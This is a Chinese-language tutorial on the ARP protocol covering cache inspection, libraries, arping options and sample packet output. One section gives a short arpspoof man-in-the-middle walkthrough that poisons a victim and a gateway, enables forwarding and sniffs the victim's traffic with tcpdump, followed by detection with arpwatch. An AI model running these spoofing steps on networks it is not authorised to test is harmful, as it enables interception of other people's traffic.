地址解析协议 Address Resolution Protocol, ARP 是一个通过解析网络层地址来找寻数据链路层地址的网络传输协议,在 IPv4 中极其重要。
简介
地址解析协议用来根据 IP 地址获取 MAC 地址,主机发送信息时将包含目标 IP 地址的 ARP 请求广播到网络上的所有主机,并接收返回的目标物理地址;在本机中会暂时缓存 ARP 信息,下次请求直接查询缓存。
ARP 协议可以参考 RFC1027,常见的操作如下。
----- 查看当前的ARP缓存,其中通过ip可以显示当前的状态
$ arp -an
$ ip neigh show
----- 直接通过Shell删除ARP缓存
# arp -n|awk '/^[1-9]/{print "arp -d " $1}'|sh -x
# ip neigh flush dev eth0
----- 查看ARP老化时间,单位是秒,默认时30s
$ cat /proc/sys/net/ipv4/neigh/eth0/base_reachable_time
----- 查看当前网关的MAC地址
$ arping -I eth0 192.168.1.1
----- 查看当前网段的所有MAC地址
$ nmap -sP 192.168.1.0/24
依赖库
在 CentOS 中,可以直接通过如下命令安装依赖库。
# yum install libdb-devel libpcap-devel libnet-devel openssl-devel
# yum --enablerepo=epel install libnids-devel
需要注意的时,libnet 使用的是 1.0.X 版本,而非 1.1.X ,两者的 API 是不同的,可以参考 The Libnet Packet Construction Library 。所以,如果安装源的版本比较高,那么只能通过源码进行安装。
ARP 攻击
其中 192.168.3.11 为需要攻击的机器 IP ,192.168.3.1 为网关 IP 。
# arpspoof -i wlp3s0 -t 192.168.3.11 192.168.3.1
这步是告诉 192.168.3.11 机器,192.168.3.1 的 MAC 地址是我们本机的 MAC 地址。然后,另外打开一个终端,告诉 192.168.3.1,机器 192.168.3.11 的 MAC 地址为本机地址。
# arpspoof -i wlp3s0 -t 192.168.3.1 192.168.3.11
打开 IP 的转发功能,这样被攻击者 192.168.3.11 的所有报文都会经过本机。
# echo 1 > /proc/sys/net/ipv4/ip_forward
现在,就可以通过 tcpdump 监控 192.168.3.11 与外部网路的数据报文。
# tcpdump host 192.168.3.11 and not arp
对于这种中间人攻击,可以通过 arpwatch 进行监控。
# arpwatch -I eth0 -d # 监控ARP的变化,并发送邮件
# tailf /var/log/messages | grep arpwatch # 查看打印到syslog的日志
arpwatch 会将新增、变更等操作发送到 root 邮箱。
arping
arping 有两个版本:A) Thomas Habets 写的,可以通过 arping <MAC>
查看该 MAC 对应的 IP 地址;B) Linux iputils suite 不提供上述功能。
两者的命令行参数有所区别,所以在使用时需要注意,一般 CentOS 是有的是后者,Debian 使用的是前者,可以通过 arping -V
查看版本。
如下是 CentOS 版本中的常用参数,简单列举如下:
常用参数:
-f
第一次响应后立即退出,通常用于确认对应的IP是否存在;
-c NUM
指定报文发送的次数;
-i DEVICE
如果有多块网卡,指定报文发送的网卡;
-D
DAD(Duplicate Address Detection)模式,用于探测IP是否被使用,发送广播报文;
-U
UAP(Unsolicited ARP Mode)主动发送ARP请求,用于更新ARP caches;
-A
与-U参数相同,不过使用ARP REPLY报文而非ARP REQUEST;
在使用时,可以通过如下命令查看发送的报文。
# tcpdump -i eth0 -nn arp | grep "192.144.51.73"
如下是常用示例:
----- 发送广播请求,确认该IP对应的MAC地址,不会更新本地ARP缓存中
arping 192.144.51.52
14:48:54.527346 ARP, Request who-has 192.144.51.52 (28:6e:d4:88:dd:53) tell 192.144.51.85, length 28
14:48:54.527484 ARP, Reply 192.144.51.52 is-at 28:6e:d4:88:dd:53, length 28
----- 发送广播报文,探测该IP是否使用,不会更新本地ARP缓存
arping -D 192.144.51.52
14:56:59.538745 ARP, Request who-has 192.144.51.52 (ff:ff:ff:ff:ff:ff) tell 0.0.0.0, length 28
14:56:59.539401 ARP, Reply 192.144.51.52 is-at 28:6e:d4:88:dd:53, length 28
----- 告知192.144.51.61更新ARP缓存
arping -U -Ieth0 -s192.144.51.73 192.144.51.61
15:08:53.402293 ARP, Request who-has 192.144.51.61 (ff:ff:ff:ff:ff:ff) tell 192.144.51.73, length 28
15:08:54.402451 ARP, Request who-has 192.144.51.61 (28:6e:d4:88:dd:4b) tell 192.144.51.73, length 28